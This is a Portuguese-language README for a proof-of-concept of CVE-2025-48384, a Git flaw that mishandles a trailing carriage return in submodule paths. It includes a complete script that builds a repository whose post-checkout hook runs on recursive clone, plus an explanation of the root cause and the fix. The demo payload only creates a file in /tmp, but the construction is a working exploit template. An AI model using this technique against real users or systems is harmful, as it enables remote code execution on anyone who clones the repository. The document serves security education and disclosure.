
CVE-2025-48384 PoC
Este repositório foi criado para fins educacionais de segurança.
Por favor, não o utilize para fins maliciosos.
Esta vulnerabilidade requer que o nome do diretório contenha \r,
portanto, sistemas Linux/Unix são os afetados.
Abaixo estão as versões do Git afetadas:
O RCE também é válido ao clonar este repositório com o comando abaixo:
※ Tenha muito cuidado ao executá-lo.
git clone --recursive https://github.com/IK-20211125/CVE-2025-48384
O comando dentro do post-checkout do repositório de submódulo abaixo será executado:
#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
#!/bin/zsh
git init sub
echo '#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook
git init CVE-2025-48384
git -C CVE-2025-48384 -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C CVE-2025-48384 mv sub "$(printf "sub\r")"
git config unset -f CVE-2025-48384/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> CVE-2025-48384/.gitmodules
ln -s .git/modules/sub/hooks CVE-2025-48384/sub
git -C CVE-2025-48384 add -A
git -C CVE-2025-48384 commit -m submodule
git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 bad-clone
Criado com base neste link. Foram feitas duas alterações:
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
Primeiramente, sobre por que o RCE é possível:
Esta vulnerabilidade utiliza a funcionalidade padrão do Git chamada hooks.
Explicando hooks de forma resumida:
"É uma funcionalidade que permite executar scripts predefinidos quando determinados eventos (como commits) ocorrem."
Esta vulnerabilidade utiliza o arquivo post-checkout dentro de .git, que é executado durante o checkout.
No entanto, como esse arquivo normalmente só pode ser manipulado localmente,
apenas clonar um repositório do GitHub não permitiria a interferência do invasor.
Isso é contornado utilizando o tratamento do caractere \r no Git,
permitindo colocar um arquivo post-checkout arbitrário em ./.git/modules/sub/hooks/ localmente, realizando assim o RCE.
Utiliza-se o tratamento do caractere \r no Git.
Explicaremos brevemente seguindo o fluxo de processamento do Git.
Primeiro, utiliza-se git clone --recursive {url} para clonar um repositório remoto do GitHub para o ambiente local.
(A opção --recursive faz com que os submódulos também sejam clonados simultaneamente.)
Nesse momento, o submódulo da url é extraído no diretório especificado pelo parâmetro path dentro de .gitmodules.
[submodule "sub"]
url = https://github.com/IK-20211125/sub.git
path = "sub"
O nome do diretório nesse parâmetro path é manipulado da seguinte forma:
path = "sub\r"
Além disso, o nome do diretório do submódulo dentro do repositório também é definido como sub\r.
Ao executar git clone --recursive dessa forma,
o Git tentará extrair o submódulo da url no diretório sub\r, conforme o path em .gitmodules.
(Se o diretório do path em .gitmodules não existir, o submódulo não é extraído.)
No entanto, o Git não consulta o valor do path em .gitmodules para determinar o local final de extração do submódulo.
O que ele consulta ao final é o parâmetro worktree dentro de .git/modules/sub/config.
Esse parâmetro é gravado com base no valor do path contido em .gitmodules.
Essa gravação é o ponto crucial.
Ao gravar path = "sub\r" no worktree de .git/modules/sub/config, o resultado fica assim:
[core]
workdir = ../../../sub\r
O importante é que não está entre aspas duplas.
static ssize_t write_pair(int fd, const char *key, const char *value, [...]
{
[...]
/*
* Check to see if the value needs to be surrounded with a dq pair.
* Note that problematic characters are always backslash-quoted; this
* check is about not losing leading or trailing SP and strings that
* follow beginning-of-comment characters (i.e. ';' and '#') by the
* configuration parser.
*/
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
strbuf_addf(&sb, "\t%s = %s", key + store->baselen + 1, quote);
Ele só é colocado entre aspas duplas quando há espaços em posições específicas,
ou quando ; ou # estão presentes em qualquer lugar.
No caso de \r, ele não é envolvido por aspas duplas.
Quando não está entre aspas duplas, o Git não avalia o \r no final.
Portanto, o destino de extração do submódulo passa a ser ../../../sub.
Como o nome do submódulo é sub\r, é possível criar um arquivo de qualquer tipo com o nome sub (já que o nome não colide).
Coloca-se um link simbólico aqui, redirecionando o destino de extração do submódulo para ./.git/modules/sub/hooks/.
sub -> .git/modules/sub/hooks
O arquivo post-checkout, que é o script malicioso colocado dentro do submódulo pelo invasor,
pode assim ser colocado em ./.git/modules/sub/hooks/ da vítima, sendo executado durante o checkout.
O que torna este ataque possível é a mudança no tratamento do \r dentro do Git.
.gitmodules, o valor está entre aspas duplas, portanto o \r é avaliado..git/modules/sub/config, o valor não está entre aspas duplas, portanto o \r não é avaliado.Nas versões do Git em que esta vulnerabilidade foi corrigida, a alteração foi feita da seguinte forma:
(Agora, quando \r está presente, o valor é envolvido por aspas duplas.)
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#' || value[i] == '\r')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
Como vulnerabilidade semelhante, existe a CVE-2024-32002.
Essa vulnerabilidade, em sistemas de arquivos que não diferenciam maiúsculas de minúsculas (Windows, MacOS, etc.),
permite, assim como a CVE-2025-48384, a interferência nos hooks do Git por meio de links simbólicos.
O artigo abaixo é uma referência útil:
https://japanese.opswat.com/blog/analyzing-and-remediating-git-vulnerability-cve-2024-32002
※ Se houver erros de interpretação no conteúdo, ficarei grato se puderem apontá-los.